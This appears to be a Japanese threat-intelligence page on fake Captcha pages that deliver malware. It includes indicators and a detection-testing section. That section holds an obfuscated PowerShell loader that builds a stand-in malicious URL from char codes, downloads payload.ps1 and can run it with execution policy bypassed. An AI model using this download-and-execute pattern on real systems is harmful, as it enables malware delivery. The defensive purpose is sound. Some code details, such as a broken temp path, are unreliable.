SOC Prime Bias: 中程度

27 1月 2026 17:11

Webを活用する:トラストインフラがどのようにしてマルウェア配信インターフェイスになったか

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
Webを活用する:トラストインフラがどのようにしてマルウェア配信インターフェイスになったか
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このレポートでは、大規模な「偽Captcha」エコシステムを調査し、信頼されたウェブ認証インタフェースを悪用して悪意のあるペイロードを配信する手法を分析しています。視覚的な類似性は信頼性のある帰属信号ではありません。なぜなら同じフロントエンドパターンが異なる実行チェーン(PowerShell、VBScript、MSIインストーラー、サーバ主導のプッシュ通知配信)上に存在する可能性があるからです。スクリーンショットのハイボリューム視覚的ハッシュ化を使用して、このエコシステムがどのように編成されているかをマッピングし、ユーザーインタフェースと基になるペイロードワークフローの分離を強調しています。防御側には、外面的な指標を超えて、実行ロジックとインフラストラクチャの検出を優先するようにアドバイスしています。

調査

Censysは9,494件の偽Captchaアセットを特定し、視覚的な類似性でクラスター化するために視覚的なハッシュを使用し、観測されたサイトの約70%を占めるクラウドフレア風のクラスターを特定しました。詳細なレビューにより、クリップボード駆動のスクリプト、MSIベースのインストーラー、Matrix Push C2スタイルのプッシュ配信にまたがる32の異なるペイロードバリアントが明らかになりました。インフラストラクチャの分析では、各手法をサポートする別個のバックエンドサーバープールが示され、95.164.53.115やghost.nestdns.comなどの例が挙げられています。

軽減策

検出は視覚的な誘導特性やクリップボードの動作にのみ依存してはなりません。代わりに、異常なブラウザ通知許可プロンプト、PowerShellまたはVBScriptのダウンロード実行パターン、検証をテーマにしたURLからのMSI起動、既知のMatrix Push C2エンドポイントに関連するネットワークトラフィックを監視してください。疑わしい検証ページをブロックまたはサンドボックス化し、ユーザーには信頼できる予想されるサイトでのみブラウザの許可を与えるようにトレーニングしてください。

対応

偽Captchaページが遭遇された場合、後続のPowerShell、VBScript、またはMSI実行、および通知登録イベントに警告を発します。エンドポイントのアクティビティを、参照された悪意のあるIPやドメインなどのネットワーク指標と関連付けます。影響を受けたシステムを隔離し、揮発性メモリーをキャプチャし、取得されたペイロードのフォレンジック分析を行います。

攻撃フロー

この部分はまだ更新中です。通知を希望する登録をしてください

通知する

シミュレーション実行

前提条件: テレメトリ & ベースラインの前フライトチェックがパスしている必要があります。

根拠: このセクションでは、検出ルールをトリガーするように設計された敵の手法(TTP)の正確な実行を詳細に説明します。コマンドとナラティブはTTPで特定されたものを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目指しています。抽象的または無関係な例は誤診を引き起こします。

  • アタックナラティブ & コマンド:
    攻撃者はダウンロードURLを隠しながら悪意のあるペイロードを取得する必要があります。ランタイムで文字コードを使用してURLを構築し、文字列「enc」(しばしばBase64でエンコードされたペイロードに見られる)を埋め込み、次に Net.WebClient.DownloadFile を使用してスクリプトを取得します。この手法は、「難読化 + Net.WebClient」に焦点を当てたルールに一致します。手順:

    1. キャラクター再構成を通じてダウンロードURLを生成:
      $url = ([char]65+[char]108+[char]105+[char]99+[char]101+[char]46+[char]99+[char]111+[char]109) + "/malware.ps1"
    2. 検出規約の2番目の条件を満たすために、「enc」を含むプレースホルダ変数を作成:
      $encTag = "enc"
    3. ダウンロードを呼び出す:
      $wc = New-Object System.Net.WebClient
      $wc.DownloadFile($url, "$env:TEMPpayload.ps1")
    4. ダウンロードしたペイロードを実行(テストのためのオプション):
      powershell -ExecutionPolicy Bypass -File "$env:TEMPpayload.ps1"

    存在 Net.WebClient.DownloadFile、単語 enc、および [char]::FromCharCode を使用することで [char](略記を介して)ルールが作動することを確実にします。

  • 回帰テストスクリプト:

    # -------------------------------------------------
    # シミュレートされたPowerShellローダー - Sigmaルールに一致
    # -------------------------------------------------
    # 1. 文字コードを使用してダウンロードURLを再構成
    $url = ([char]104+[char]116+[char]116+[char]112+[char]115+[char]58+[char]47+[char]47+[char]109+[char]97+[char]108+[char]105+[char]99+[char]105+[char]111+[char]117+[char]115+[char]46+[char]99+[char]111+[char]109+[char]47+[char]112+[char]97+[char]121+[char]108+[char]111+[char]97+[char]100+[char]46+[char]112+[char]115+[char]49)
    # 上記は次のように表現されます: https://malicious.com/payload.ps1
    
    # 2. 検出ルールを満たすために "enc" トークンを挿入
    $encTag = "enc"
    
    # 3. ダウンロードを実行
    $wc = New-Object System.Net.WebClient
    $destination = "$env:TEMPpayload.ps1"
    $wc.DownloadFile($url, $destination)
    
    # 4. (オプション)ペイロードを実行
    # powershell -ExecutionPolicy Bypass -File $destination
  • クリーンアップコマンド:

    # ダウンロードしたペイロードを削除
    $payloadPath = "$env:TEMPpayload.ps1"
    if (Test-Path $payloadPath) {
        Remove-Item -Force $payloadPath
    }
    
    # WebClientオブジェクトを削除(ガベージコレクションは自動で処理されます)
    Write-Host "クリーンアップ完了。"